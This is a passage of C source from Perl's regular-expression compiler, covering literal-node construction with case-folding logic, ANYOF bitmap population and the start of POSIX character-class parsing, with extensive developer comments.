/i, until we find a * character which is in a fold. The algorithm now segregates into * separate nodes, characters that fold from those that don't under * /i. (This hopefully will create nodes that are fixed strings * even under /i, giving the optimizer something to grab on to.) * So, if a node has something in it and the next character is in * the opposite category, that node is closed up, and the function * returns. Then regatom is called again, and a new node is * created for the new category. */ U8 node_type = EXACT; /* Assume the node will be fully used; the excess is given back at * the end. We can't make any other length assumptions, as a byte * input sequence could shrink down. */ Ptrdiff_t initial_size = STR_SZ(256); bool next_is_quantifier; char * oldp = NULL; /* We can convert EXACTF nodes to EXACTFU if they contain only * characters that match identically regardless of the target * string's UTF8ness. The reason to do this is that EXACTF is not * trie-able, EXACTFU is, and EXACTFU requires fewer operations at * runtime. * * Similarly, we can convert EXACTFL nodes to EXACTFLU8 if they * contain only above-Latin1 characters (hence must be in UTF8), * which don't participate in folds with Latin1-range characters, * as the latter's folds aren't known until runtime. */ bool maybe_exactfu = FOLD && (DEPENDS_SEMANTICS || LOC); /* Single-character EXACTish nodes are almost always SIMPLE. This * allows us to override this as encountered */ U8 maybe_SIMPLE = SIMPLE; /* Does this node contain something that can't match unless the * target string is (also) in UTF-8 */ bool requires_utf8_target = FALSE; /* The sequence 'ss' is problematic in non-UTF-8 patterns. */ bool has_ss = FALSE; /* So is the MICRO SIGN */ bool has_micro_sign = FALSE; /* Allocate an EXACT node. The node_type may change below to * another EXACTish node, but since the size of the node doesn't * change, it works */ ret = regnode_guts(pRExC_state, node_type, initial_size, "exact"); FILL_NODE(ret, node_type); RExC_emit++; s = STRING(REGNODE_p(ret)); s0 = s; reparse: /* This breaks under rare circumstances. If folding, we do not * want to split a node at a character that is a non-final in a * multi-char fold, as an input string could just happen to want to * match across the node boundary. The code at the end of the loop * looks for this, and backs off until it finds not such a * character, but it is possible (though extremely, extremely * unlikely) for all characters in the node to be non-final fold * ones, in which case we just leave the node fully filled, and * hope that it doesn't match the string in just the wrong place */ assert( ! UTF /* Is at the beginning of a character */ || UTF8_IS_INVARIANT(UCHARAT(RExC_parse)) || UTF8_IS_START(UCHARAT(RExC_parse))); /* Here, we have a literal character. Find the maximal string of * them in the input that we can fit into a single EXACTish node. * We quit at the first non-literal or when the node gets full, or * under /i the categorization of folding/non-folding character * changes */ for (p = RExC_parse; len < upper_parse && p < RExC_end; ) { /* In most cases each iteration adds one byte to the output. * The exceptions override this */ Size_t added_len = 1; oldp = p; /* White space has already been ignored */ assert( (RExC_flags & RXf_PMf_EXTENDED) == 0 || ! is_PATWS_safe((p), RExC_end, UTF)); switch ((U8)*p) { case '^': case '$': case '.': case '[': case '(': case ')': case '|': goto loopdone; case '\\': /* Literal Escapes Switch This switch is meant to handle escape sequences that resolve to a literal character. Every escape sequence that represents something else, like an assertion or a char class, is handled in the switch marked 'Special Escapes' above in this routine, but also has an entry here as anything that isn't explicitly mentioned here will be treated as an unescaped equivalent literal. */ switch ((U8)*++p) { /* These are all the special escapes. */ case 'A': /* Start assertion */ case 'b': case 'B': /* Word-boundary assertion*/ case 'C': /* Single char !DANGEROUS! */ case 'd': case 'D': /* digit class */ case 'g': case 'G': /* generic-backref, pos assertion */ case 'h': case 'H': /* HORIZWS */ case 'k': case 'K': /* named backref, keep marker */ case 'p': case 'P': /* Unicode property */ case 'R': /* LNBREAK */ case 's': case 'S': /* space class */ case 'v': case 'V': /* VERTWS */ case 'w': case 'W': /* word class */ case 'X': /* eXtended Unicode "combining character sequence" */ case 'z': case 'Z': /* End of line/string assertion */ --p; goto loopdone; /* Anything after here is an escape that resolves to a literal. (Except digits, which may or may not) */ case 'n': ender = '\n'; p++; break; case 'N': /* Handle a single-code point named character. */ RExC_parse = p + 1; if (! grok_bslash_N(pRExC_state, NULL, /* Fail if evaluates to anything other than a single code point */ &ender, /* The returned single code point */ NULL, /* Don't need a count of how many code points */ flagp, RExC_strict, depth) ) { if (*flagp & NEED_UTF8) FAIL("panic: grok_bslash_N set NEED_UTF8"); RETURN_FAIL_ON_RESTART_FLAGP(flagp); /* Here, it wasn't a single code point. Go close * up this EXACTish node. The switch() prior to * this switch handles the other cases */ RExC_parse = p = oldp; goto loopdone; } p = RExC_parse; RExC_parse = parse_start; /* The \N{} means the pattern, if previously /d, * becomes /u. That means it can't be an EXACTF node, * but an EXACTFU */ if (node_type == EXACTF) { node_type = EXACTFU; /* If the node already contains something that * differs between EXACTF and EXACTFU, reparse it * as EXACTFU */ if (! maybe_exactfu) { len = 0; s = s0; goto reparse; } } break; case 'r': ender = '\r'; p++; break; case 't': ender = '\t'; p++; break; case 'f': ender = '\f'; p++; break; case 'e': ender = ESC_NATIVE; p++; break; case 'a': ender = '\a'; p++; break; case 'o': { UV result; const char* error_msg; bool valid = grok_bslash_o(&p, RExC_end, &result, &error_msg, TO_OUTPUT_WARNINGS(p), (bool) RExC_strict, TRUE, /* Output warnings for non- portables */ UTF); if (! valid) { RExC_parse = p; /* going to die anyway; point to exact spot of failure */ vFAIL(error_msg); } UPDATE_WARNINGS_LOC(p - 1); ender = result; break; } case 'x': { UV result = UV_MAX; /* initialize to erroneous value */ const char* error_msg; bool valid = grok_bslash_x(&p, RExC_end, &result, &error_msg, TO_OUTPUT_WARNINGS(p), (bool) RExC_strict, TRUE, /* Silence warnings for non- portables */ UTF); if (! valid) { RExC_parse = p; /* going to die anyway; point to exact spot of failure */ vFAIL(error_msg); } UPDATE_WARNINGS_LOC(p - 1); ender = result; if (ender < 0x100) { #ifdef EBCDIC if (RExC_recode_x_to_native) { ender = LATIN1_TO_NATIVE(ender); } #endif } break; } case 'c': p++; ender = grok_bslash_c(*p, TO_OUTPUT_WARNINGS(p)); UPDATE_WARNINGS_LOC(p); p++; break; case '8': case '9': /* must be a backreference */ --p; /* we have an escape like \8 which cannot be an octal escape * so we exit the loop, and let the outer loop handle this * escape which may or may not be a legitimate backref. */ goto loopdone; case '1': case '2': case '3':case '4': case '5': case '6': case '7': /* When we parse backslash escapes there is ambiguity * between backreferences and octal escapes. Any escape * from \1 - \9 is a backreference, any multi-digit * escape which does not start with 0 and which when * evaluated as decimal could refer to an already * parsed capture buffer is a back reference. Anything * else is octal. * * Note this implies that \118 could be interpreted as * 118 OR as "\11" . "8" depending on whether there * were 118 capture buffers defined already in the * pattern. */ /* NOTE, RExC_npar is 1 more than the actual number of * parens we have seen so far, hence the "<" as opposed * to "<=" */ if ( !isDIGIT(p[1]) || S_backref_value(p, RExC_end) < RExC_npar) { /* Not to be treated as an octal constant, go find backref */ --p; goto loopdone; } /* FALLTHROUGH */ case '0': { I32 flags = PERL_SCAN_SILENT_ILLDIGIT; STRLEN numlen = 3; ender = grok_oct(p, &numlen, &flags, NULL); p += numlen; if ( isDIGIT(*p) /* like \08, \178 */ && ckWARN(WARN_REGEXP) && numlen < 3) { reg_warn_non_literal_string( p + 1, form_short_octal_warning(p, numlen)); } } break; case '\0': if (p >= RExC_end) FAIL("Trailing \\"); /* FALLTHROUGH */ default: if (isALPHANUMERIC(*p)) { /* An alpha followed by '{' is going to fail next * iteration, so don't output this warning in that * case */ if (! isALPHA(*p) || *(p + 1) != '{') { ckWARN2reg(p + 1, "Unrecognized escape \\%.1s" " passed through", p); } } goto normal_default; } /* End of switch on '\' */ break; case '{': /* Trying to gain new uses for '{' without breaking too * much existing code is hard. The solution currently * adopted is: * 1) If there is no ambiguity that a '{' should always * be taken literally, at the start of a construct, we * just do so. * 2) If the literal '{' conflicts with our desired use * of it as a metacharacter, we die. The deprecation * cycles for this have come and gone. * 3) If there is ambiguity, we raise a simple warning. * This could happen, for example, if the user * intended it to introduce a quantifier, but slightly * misspelled the quantifier. Without this warning, * the quantifier would silently be taken as a literal * string of characters instead of a meta construct */ if (len || (p > RExC_start && isALPHA_A(*(p - 1)))) { if ( RExC_strict || ( p > parse_start + 1 && isALPHA_A(*(p - 1)) && *(p - 2) == '\\') || new_regcurly(p, RExC_end)) { RExC_parse = p + 1; vFAIL("Unescaped left brace in regex is " "illegal here"); } ckWARNreg(p + 1, "Unescaped left brace in regex is" " passed through"); } goto normal_default; case '}': case ']': if (p > RExC_parse && RExC_strict) { ckWARN2reg(p + 1, "Unescaped literal '%c'", *p); } /*FALLTHROUGH*/ default: /* A literal character */ normal_default: if (! UTF8_IS_INVARIANT(*p) && UTF) { STRLEN numlen; ender = utf8n_to_uvchr((U8*)p, RExC_end - p, &numlen, UTF8_ALLOW_DEFAULT); p += numlen; } else ender = (U8) *p++; break; } /* End of switch on the literal */ /* Here, have looked at the literal character, and <ender> * contains its ordinal; <p> points to the character after it. * */ if (ender > 255) { REQUIRE_UTF8(flagp); } /* We need to check if the next non-ignored thing is a * quantifier. Move <p> to after anything that should be * ignored, which, as a side effect, positions <p> for the next * loop iteration */ skip_to_be_ignored_text(pRExC_state, &p, FALSE /* Don't force to /x */ ); /* If the next thing is a quantifier, it applies to this * character only, which means that this character has to be in * its own node and can't just be appended to the string in an * existing node, so if there are already other characters in * the node, close the node with just them, and set up to do * this character again next time through, when it will be the * only thing in its new node */ next_is_quantifier = LIKELY(p < RExC_end) && UNLIKELY(ISMULT2(p)); if (next_is_quantifier && LIKELY(len)) { p = oldp; goto loopdone; } /* Ready to add 'ender' to the node */ if (! FOLD) { /* The simple case, just append the literal */ not_fold_common: if (UVCHR_IS_INVARIANT(ender) || ! UTF) { *(s++) = (char) ender; } else { U8 * new_s = uvchr_to_utf8((U8*)s, ender); added_len = (char *) new_s - s; s = (char *) new_s; if (ender > 255) { requires_utf8_target = TRUE; } } } else if (LOC && is_PROBLEMATIC_LOCALE_FOLD_cp(ender)) { /* Here are folding under /l, and the code point is * problematic. If this is the first character in the * node, change the node type to folding. Otherwise, if * this is the first problematic character, close up the * existing node, so can start a new node with this one */ if (! len) { node_type = EXACTFL; RExC_contains_locale = 1; } else if (node_type == EXACT) { p = oldp; goto loopdone; } /* This problematic code point means we can't simplify * things */ maybe_exactfu = FALSE; /* Here, we are adding a problematic fold character. * "Problematic" in this context means that its fold isn't * known until runtime. (The non-problematic code points * are the above-Latin1 ones that fold to also all * above-Latin1. Their folds don't vary no matter what the * locale is.) But here we have characters whose fold * depends on the locale. We just add in the unfolded * character, and wait until runtime to fold it */ goto not_fold_common; } else /* regular fold; see if actually is in a fold */ if ( (ender < 256 && ! IS_IN_SOME_FOLD_L1(ender)) || (ender > 255 && ! _invlist_contains_cp(PL_in_some_fold, ender))) { /* Here, folding, but the character isn't in a fold. * * Start a new node if previous characters in the node were * folded */ if (len && node_type != EXACT) { p = oldp; goto loopdone; } /* Here, continuing a node with non-folded characters. Add * this one */ goto not_fold_common; } else { /* Here, does participate in some fold */ /* If this is the first character in the node, change its * type to folding. Otherwise, if this is the first * folding character in the node, close up the existing * node, so can start a new node with this one. */ if (! len) { node_type = compute_EXACTish(pRExC_state); } else if (node_type == EXACT) { p = oldp; goto loopdone; } if (UTF) { /* Use the folded value */ if (UVCHR_IS_INVARIANT(ender)) { *(s)++ = (U8) toFOLD(ender); } else { ender = _to_uni_fold_flags( ender, (U8 *) s, &added_len, FOLD_FLAGS_FULL | ((ASCII_FOLD_RESTRICTED) ? FOLD_FLAGS_NOMIX_ASCII : 0)); s += added_len; if ( ender > 255 && LIKELY(ender != GREEK_SMALL_LETTER_MU)) { /* U+B5 folds to the MU, so its possible for a * non-UTF-8 target to match it */ requires_utf8_target = TRUE; } } } else { /* Here is non-UTF8. First, see if the character's * fold differs between /d and /u. */ if (PL_fold[ender] != PL_fold_latin1[ender]) { maybe_exactfu = FALSE; } #if UNICODE_MAJOR_VERSION > 3 /* no multifolds in early Unicode */ \ || (UNICODE_MAJOR_VERSION == 3 && ( UNICODE_DOT_VERSION > 0) \ || UNICODE_DOT_DOT_VERSION > 0) /* On non-ancient Unicode versions, this includes the * multi-char fold SHARP S to 'ss' */ if ( UNLIKELY(ender == LATIN_SMALL_LETTER_SHARP_S) || ( isALPHA_FOLD_EQ(ender, 's') && len > 0 && isALPHA_FOLD_EQ(*(s-1), 's'))) { /* Here, we have one of the following: * a) a SHARP S. This folds to 'ss' only under * /u rules. If we are in that situation, * fold the SHARP S to 'ss'. See the comments * for join_exact() as to why we fold this * non-UTF at compile time, and no others. * b) 'ss'. When under /u, there's nothing * special needed to be done here. The * previous iteration handled the first 's', * and this iteration will handle the second. * If, on the otherhand it's not /u, we have * to exclude the possibility of moving to /u, * so that we won't generate an unwanted * match, unless, at runtime, the target * string is in UTF-8. * */ has_ss = TRUE; maybe_exactfu = FALSE; /* Can't generate an EXACTFU node (unless we already are in one) */ if (UNLIKELY(ender == LATIN_SMALL_LETTER_SHARP_S)) { maybe_SIMPLE = 0; if (node_type == EXACTFU) { *(s++) = 's'; /* Let the code below add in the extra 's' */ ender = 's'; added_len = 2; } } } #endif else if (UNLIKELY(ender == MICRO_SIGN)) { has_micro_sign = TRUE; } *(s++) = (DEPENDS_SEMANTICS) ? (char) toFOLD(ender) /* Under /u, the fold of any character in * the 0-255 range happens to be its * lowercase equivalent, except for LATIN * SMALL LETTER SHARP S, which was handled * above, and the MICRO SIGN, whose fold * requires UTF-8 to represent. */ : (char) toLOWER_L1(ender); } } /* End of adding current character to the node */ len += added_len; if (next_is_quantifier) { /* Here, the next input is a quantifier, and to get here, * the current character is the only one in the node. */ goto loopdone; } } /* End of loop through literal characters */ /* Here we have either exhausted the input or ran out of room in * the node. (If we encountered a character that can't be in the * node, transfer is made directly to <loopdone>, and so we * wouldn't have fallen off the end of the loop.) In the latter * case, we artificially have to split the node into two, because * we just don't have enough space to hold everything. This * creates a problem if the final character participates in a * multi-character fold in the non-final position, as a match that * should have occurred won't, due to the way nodes are matched, * and our artificial boundary. So back off until we find a non- * problematic character -- one that isn't at the beginning or * middle of such a fold. (Either it doesn't participate in any * folds, or appears only in the final position of all the folds it * does participate in.) A better solution with far fewer false * positives, and that would fill the nodes more completely, would * be to actually have available all the multi-character folds to * test against, and to back-off only far enough to be sure that * this node isn't ending with a partial one. <upper_parse> is set * further below (if we need to reparse the node) to include just * up through that final non-problematic character that this code * identifies, so when it is set to less than the full node, we can * skip the rest of this */ if (FOLD && p < RExC_end && upper_parse == MAX_NODE_STRING_SIZE) { PERL_UINT_FAST8_T backup_count = 0; const STRLEN full_len = len; assert(len >= MAX_NODE_STRING_SIZE); /* Here, <s> points to just beyond where we have output the * final character of the node. Look backwards through the * string until find a non- problematic character */ if (! UTF) { /* This has no multi-char folds to non-UTF characters */ if (ASCII_FOLD_RESTRICTED) { goto loopdone; } while (--s >= s0 && IS_NON_FINAL_FOLD(*s)) { backup_count++; } len = s - s0 + 1; } else { /* Point to the first byte of the final character */ s = (char *) utf8_hop_back((U8 *) s, -1, (U8 *) s0); while (s >= s0) { /* Search backwards until find a non-problematic char */ if (UTF8_IS_INVARIANT(*s)) { /* There are no ascii characters that participate * in multi-char folds under /aa. In EBCDIC, the * non-ascii invariants are all control characters, * so don't ever participate in any folds. */ if (ASCII_FOLD_RESTRICTED || ! IS_NON_FINAL_FOLD(*s)) { break; } } else if (UTF8_IS_DOWNGRADEABLE_START(*s)) { if (! IS_NON_FINAL_FOLD(EIGHT_BIT_UTF8_TO_NATIVE( *s, *(s+1)))) { break; } } else if (! _invlist_contains_cp( PL_NonFinalFold, valid_utf8_to_uvchr((U8 *) s, NULL))) { break; } /* Here, the current character is problematic in that * it does occur in the non-final position of some * fold, so try the character before it, but have to * special case the very first byte in the string, so * we don't read outside the string */ s = (s == s0) ? s -1 : (char *) utf8_hop((U8 *) s, -1); backup_count++; } /* End of loop backwards through the string */ /* If there were only problematic characters in the string, * <s> will point to before s0, in which case the length * should be 0, otherwise include the length of the * non-problematic character just found */ len = (s < s0) ? 0 : s - s0 + UTF8SKIP(s); } /* Here, have found the final character, if any, that is * non-problematic as far as ending the node without splitting * it across a potential multi-char fold. <len> contains the * number of bytes in the node up-to and including that * character, or is 0 if there is no such character, meaning * the whole node contains only problematic characters. In * this case, give up and just take the node as-is. We can't * do any better */ if (len == 0) { len = full_len; } else { /* Here, the node does contain some characters that aren't * problematic. If we didn't have to backup any, then the * final character in the node is non-problematic, and we * can take the node as-is */ if (backup_count == 0) { goto loopdone; } else if (backup_count == 1) { /* If the final character is problematic, but the * penultimate is not, back-off that last character to * later start a new node with it */ p = oldp; goto loopdone; } /* Here, the final non-problematic character is earlier * in the input than the penultimate character. What we do * is reparse from the beginning, going up only as far as * this final ok one, thus guaranteeing that the node ends * in an acceptable character. The reason we reparse is * that we know how far in the character is, but we don't * know how to correlate its position with the input parse. * An alternate implementation would be to build that * correlation as we go along during the original parse, * but that would entail extra work for every node, whereas * this code gets executed only when the string is too * large for the node, and the final two characters are * problematic, an infrequent occurrence. Yet another * possible strategy would be to save the tail of the * string, and the next time regatom is called, initialize * with that. The problem with this is that unless you * back off one more character, you won't be guaranteed * regatom will get called again, unless regbranch, * regpiece ... are also changed. If you do back off that * extra character, so that there is input guaranteed to * force calling regatom, you can't handle the case where * just the first character in the node is acceptable. I * (khw) decided to try this method which doesn't have that * pitfall; if performance issues are found, we can do a * combination of the current approach plus that one */ upper_parse = len; len = 0; s = s0; goto reparse; } } /* End of verifying node ends with an appropriate char */ loopdone: /* Jumped to when encounters something that shouldn't be in the node */ /* Free up any over-allocated space; cast is to silence bogus * warning in MS VC */ change_engine_size(pRExC_state, - (Ptrdiff_t) (initial_size - STR_SZ(len))); /* I (khw) don't know if you can get here with zero length, but the * old code handled this situation by creating a zero-length EXACT * node. Might as well be NOTHING instead */ if (len == 0) { OP(REGNODE_p(ret)) = NOTHING; } else { /* If the node type is EXACT here, check to see if it * should be EXACTL, or EXACT_ONLY8. */ if (node_type == EXACT) { if (LOC) { node_type = EXACTL; } else if (requires_utf8_target) { node_type = EXACT_ONLY8; } } else if (FOLD) { if ( UNLIKELY(has_micro_sign || has_ss) && (node_type == EXACTFU || ( node_type == EXACTF && maybe_exactfu))) { /* These two conditions are problematic in non-UTF-8 EXACTFU nodes. */ assert(! UTF); node_type = EXACTFUP; } else if (node_type == EXACTFL) { /* 'maybe_exactfu' is deliberately set above to * indicate this node type, where all code points in it * are above 255 */ if (maybe_exactfu) { node_type = EXACTFLU8; } else if (UNLIKELY( _invlist_contains_cp(PL_HasMultiCharFold, ender))) { /* A character that folds to more than one will * match multiple characters, so can't be SIMPLE. * We don't have to worry about this with EXACTFLU8 * nodes just above, as they have already been * folded (since the fold doesn't vary at run * time). Here, if the final character in the node * folds to multiple, it can't be simple. (This * only has an effect if the node has only a single * character, hence the final one, as elsewhere we * turn off simple for nodes whose length > 1 */ maybe_SIMPLE = 0; } } else if (node_type == EXACTF) { /* Means is /di */ /* If 'maybe_exactfu' is clear, then we need to stay * /di. If it is set, it means there are no code * points that match differently depending on UTF8ness * of the target string, so it can become an EXACTFU * node */ if (! maybe_exactfu) { RExC_seen_d_op = TRUE; } else if ( isALPHA_FOLD_EQ(* STRING(REGNODE_p(ret)), 's') || isALPHA_FOLD_EQ(ender, 's')) { /* But, if the node begins or ends in an 's' we * have to defer changing it into an EXACTFU, as * the node could later get joined with another one * that ends or begins with 's' creating an 'ss' * sequence which would then wrongly match the * sharp s without the target being UTF-8. We * create a special node that we resolve later when * we join nodes together */ node_type = EXACTFU_S_EDGE; } else { node_type = EXACTFU; } } if (requires_utf8_target && node_type == EXACTFU) { node_type = EXACTFU_ONLY8; } } OP(REGNODE_p(ret)) = node_type; STR_LEN(REGNODE_p(ret)) = len; RExC_emit += STR_SZ(len); /* If the node isn't a single character, it can't be SIMPLE */ if (len > (Size_t) ((UTF) ? UVCHR_SKIP(ender) : 1)) { maybe_SIMPLE = 0; } *flagp |= HASWIDTH | maybe_SIMPLE; } Set_Node_Length(REGNODE_p(ret), p - parse_start - 1); RExC_parse = p; { /* len is STRLEN which is unsigned, need to copy to signed */ IV iv = len; if (iv < 0) vFAIL("Internal disaster"); } } /* End of label 'defchar:' */ break; } /* End of giant switch on input character */ /* Position parse to next real character */ skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force to /x */ ); if ( *RExC_parse == '{' && OP(REGNODE_p(ret)) != SBOL && ! regcurly(RExC_parse)) { if (RExC_strict || new_regcurly(RExC_parse, RExC_end)) { RExC_parse++; vFAIL("Unescaped left brace in regex is illegal here"); } ckWARNreg(RExC_parse + 1, "Unescaped left brace in regex is" " passed through"); } return(ret); } STATIC void S_populate_ANYOF_from_invlist(pTHX_ regnode *node, SV** invlist_ptr) { /* Uses the inversion list '*invlist_ptr' to populate the ANYOF 'node'. It * sets up the bitmap and any flags, removing those code points from the * inversion list, setting it to NULL should it become completely empty */ dVAR; PERL_ARGS_ASSERT_POPULATE_ANYOF_FROM_INVLIST; assert(PL_regkind[OP(node)] == ANYOF); /* There is no bitmap for this node type */ if (OP(node) == ANYOFH) { return; } ANYOF_BITMAP_ZERO(node); if (*invlist_ptr) { /* This gets set if we actually need to modify things */ bool change_invlist = FALSE; UV start, end; /* Start looking through *invlist_ptr */ invlist_iterinit(*invlist_ptr); while (invlist_iternext(*invlist_ptr, &start, &end)) { UV high; int i; if (end == UV_MAX && start <= NUM_ANYOF_CODE_POINTS) { ANYOF_FLAGS(node) |= ANYOF_MATCHES_ALL_ABOVE_BITMAP; } /* Quit if are above what we should change */ if (start >= NUM_ANYOF_CODE_POINTS) { break; } change_invlist = TRUE; /* Set all the bits in the range, up to the max that we are doing */ high = (end < NUM_ANYOF_CODE_POINTS - 1) ? end : NUM_ANYOF_CODE_POINTS - 1; for (i = start; i <= (int) high; i++) { if (! ANYOF_BITMAP_TEST(node, i)) { ANYOF_BITMAP_SET(node, i); } } } invlist_iterfinish(*invlist_ptr); /* Done with loop; remove any code points that are in the bitmap from * *invlist_ptr; similarly for code points above the bitmap if we have * a flag to match all of them anyways */ if (change_invlist) { _invlist_subtract(*invlist_ptr, PL_InBitmap, invlist_ptr); } if (ANYOF_FLAGS(node) & ANYOF_MATCHES_ALL_ABOVE_BITMAP) { _invlist_intersection(*invlist_ptr, PL_InBitmap, invlist_ptr); } /* If have completely emptied it, remove it completely */ if (_invlist_len(*invlist_ptr) == 0) { SvREFCNT_dec_NN(*invlist_ptr); *invlist_ptr = NULL; } } } /* Parse POSIX character classes: [[:foo:]], [[=foo=]], [[.foo.]]. Character classes ([:foo:]) can also be negated ([:^foo:]). Returns a named class id (ANYOF_XXX) if successful, -1 otherwise. Equivalence classes ([=foo=]) and composites ([.foo.]) are parsed, but trigger failures because they are currently unimplemented. */ #define POSIXCC_DONE(c) ((c) == ':') #define POSIXCC_NOTYET(c) ((c) == '=' || (c) == '.') #define POSIXCC(c) (POSIXCC_DONE(c) || POSIXCC_NOTYET(c)) #define MAYBE_POSIXCC(c) (POSIXCC(c) || (c) == '^' || (c) == ';') #define WARNING_PREFIX "Assuming NOT a POSIX class since " #define NO_BLANKS_POSIX_WARNING "no blanks are allowed in one" #define SEMI_COLON_POSIX_WARNING "a semi-colon was found instead of a colon" #define NOT_MEANT_TO_BE_A_POSIX_CLASS (OOB_NAMEDCLASS - 1) /* 'posix_warnings' and 'warn_text' are names of variables in the following * routine. q.v. */ #define ADD_POSIX_WARNING(p, text) STMT_START { \ if (posix_warnings) { \ if (! RExC_warn_text ) RExC_warn_text = \ (AV *) sv_2mortal((SV *) newAV()); \ av_push(RExC_warn_text, Perl_newSVpvf(aTHX_ \ WARNING_PREFIX \ text \ REPORT_LOCATION, \ REPORT_LOCATION_ARGS(p))); \ } \ } STMT_END #define CLEAR_POSIX_WARNINGS() \ STMT_START { \ if (posix_warnings && RExC_warn_text) \ av_clear(RExC_warn_text); \ } STMT_END #define CLEAR_POSIX_WARNINGS_AND_RETURN(ret) \ STMT_START { \ CLEAR_POSIX_WARNINGS(); \ return ret; \ } STMT_END STATIC int S_handle_possible_posix(pTHX_ RExC_state_t *pRExC_state, const char * const s, /* Where the putative posix class begins. Normally, this is one past the '['. This parameter exists so it can be somewhere besides RExC_parse. */ char ** updated_parse_ptr, /* Where to set the updated parse pointer, or NULL */ AV ** posix_warnings, /* Where to place any generated warnings, or NULL */ const bool check_only /* Don't die if error */ ) { /* This parses what the caller thinks may be one of the three POSIX * constructs: * 1) a character class, like [:blank:] * 2) a collating symbol, like [. .] * 3) an equivalence class, like [= =] * In the latter two cases, it croaks if it finds a syntactically legal * one, as these are not handled by Perl. * * The main purpose is to look for a POSIX character class. It returns: * a) the class number * if it is a completely syntactically and semantically legal class. * 'updated_parse_ptr', if not NULL, is set to point to just after the * closing ']' of the class * b) OOB_NAMEDCLASS * if it appears that one of the three POSIX constructs was meant, but * its specification was somehow defective. 'updated_parse_ptr', if * not NULL, is set to point to the character just after the end * character of the class. See below for handling of warnings. * c) NOT_MEANT_TO_BE_A_POSIX_CLASS * if it doesn't appear that a POSIX construct was intended. * 'updated_parse_ptr' is not changed. No warnings nor errors are * raised. * * In b) there may be errors or warnings generated. If 'check_only' is * TRUE, then any errors are discarded. Warnings are returned to the * caller via an AV* created into '*posix_warnings' if it is not NULL. If * instead it is NULL, warnings are suppressed. * * The reason for this function, and its complexity is that a bracketed * character class can contain just about anything. But it's easy to * mistype the very specific posix class syntax but yielding a valid * regular bracketed class, so it silently gets compiled into something * quite unintended. * * The solution adopted here maintains backward compatibility except that * it adds a warning if it looks like a posix class was intended but * improperly specified. The warning is not raised unless what is input * very closely resembles one of the 14 legal posix classes. To do this, * it uses fuzzy parsing. It calculates how many single-character edits it * would take to transform what was input into a legal posix class. Only * if that number is quite small does it think that the intention was a * posix class. Obviously these are heuristics, and there will be cases * where it errs on one side or another, and they can be tweaked as * experience informs. * * The syntax for a legal posix class is: * * qr/(?xa: \[ : \^? [[:lower:]]{4,6} : \] )/ * * What this routine considers syntactically to be an intended posix class * is this (the comments indicate some restrictions that the pattern * doesn't show): * * qr/(?x: \[? # The left bracket, possibly * # omitted * \h* # possibly followed by blanks * (?: \^ \h* )? # possibly a misplaced caret * [:;]? # The opening class character, * # possibly omitted. A typo * # semi-colon can also be used. * \h* * \^? # possibly a correctly placed * # caret, but not if there was also * # a misplaced one * \h* * .{3,15} # The class name. If there are * # deviations from the legal syntax, * # its edit distance must be close * # to a real class name in order * # for it to be considered to be * # an intended posix class. * \h* * [[:punct:]]? # The closing class character, * # possibly omitted. If not a colon * # nor semi colon, the class name * # must be even closer to a valid * # one * \h* * \]? # The right bracket, possibly * # omitted. * )/ * * In the above, \h must be ASCII-only. * * These are heuristics, and can be tweaked as field experience dictates. * There will be cases when someone didn't intend to specify a posix class * that this warns as being so. The goal is to minimize these, while * maximizing the catching of things intended to be a posix class that * aren't parsed as such. */ const char* p = s; const char * const e = RExC_end; unsigned complement = 0; /* If to complement the class */ bool found_problem = FALSE; /* Assume OK until proven otherwise */ bool has_opening_bracket = FALSE; bool has_opening_colon = FALSE; int class_number = OOB_NAMEDCLASS; /* Out-of-bounds until find valid class */ const char * possible_end = NULL; /* used for a 2nd parse pass */ const char* name_start; /* ptr to class name first char */ /* If the number of single-character typos the input name is away from a * legal name is no more than this number, it is considered to have meant * the legal name */ int max_distance = 2; /* to store the name. The size determines the maximum length before we * decide that no posix class was intended. Should be at least * sizeof("alphanumeric") */ UV input_text[15]; STATIC_ASSERT_DECL(C_ARRAY_LENGTH(input_text) >= sizeof "alphanumeric"); PERL_ARGS_ASSERT_HANDLE_POSSIBLE_POSIX; CLEAR_POSIX_WARNINGS(); if (p >= e) { return NOT_MEANT_TO_BE_A_POSIX_CLASS; } if (*(p - 1) != '[') { ADD_POSIX_WARNING(p, "it doesn't start with a '['"); found_problem = TRUE; } else { has_opening_bracket = TRUE; } /* They could be confused and think you can put spaces between the * components */ if (isBLANK(*p)) { found_problem = TRUE; do { p++; } while (p < e && isBLANK(*p)); ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } /* For [. .] and [= =]. These are quite different internally from [: :], * so they are handled separately. */ if (POSIXCC_NOTYET(*p) && p < e - 3) /* 1 for the close, and 1 for the ']' and 1 for at least one char in it */ { const char open_char = *p; const char * temp_ptr = p + 1; /* These two constructs are not handled by perl, and if we find a * syntactically valid one, we croak. khw, who wrote this code, finds * this explanation of them very unclear: * http://pubs.opengroup.org/onlinepubs/009696899/basedefs/xbd_chap09.html * And searching the rest of the internet wasn't very helpful either. * It looks like just about any byte can be in these constructs, * depending on the locale. But unless the pattern is being compiled * under /l, which is very rare, Perl runs under the C or POSIX locale. * In that case, it looks like [= =] isn't allowed at all, and that * [. .] could be any single code point, but for longer strings the * constituent characters would have to be the ASCII alphabetics plus * the minus-hyphen. Any sensible locale definition would limit itself * to these. And any portable one definitely should. Trying to parse * the general case is a nightmare (see [perl #127604]). So, this code * looks only for interiors of these constructs that match: * qr/.|[-\w]{2,}/ * Using \w relaxes the apparent rules a little, without adding much * danger of mistaking something else for one of these constructs. * * [. .] in some implementations described on the internet is usable to * escape a character that otherwise is special in bracketed character * classes. For example [.].] means a literal right bracket instead of * the ending of the class * * [= =] can legitimately contain a [. .] construct, but we don't * handle this case, as that [. .] construct will later get parsed * itself and croak then. And [= =] is checked for even when not under * /l, as Perl has long done so. * * The code below relies on there being a trailing NUL, so it doesn't * have to keep checking if the parse ptr < e. */ if (temp_ptr[1] == open_char) { temp_ptr++; } else while ( temp_ptr < e && (isWORDCHAR(*temp_ptr) || *temp_ptr == '-')) { temp_ptr++; } if (*temp_ptr == open_char) { temp_ptr++; if (*temp_ptr == ']') { temp_ptr++; if (! found_problem && ! check_only) { RExC_parse = (char *) temp_ptr; vFAIL3("POSIX syntax [%c %c] is reserved for future " "extensions", open_char, open_char); } /* Here, the syntax wasn't completely valid, or else the call * is to check-only */ if (updated_parse_ptr) { *updated_parse_ptr = (char *) temp_ptr; } CLEAR_POSIX_WARNINGS_AND_RETURN(OOB_NAMEDCLASS); } } /* If we find something that started out to look like one of these * constructs, but isn't, we continue below so that it can be checked * for being a class name with a 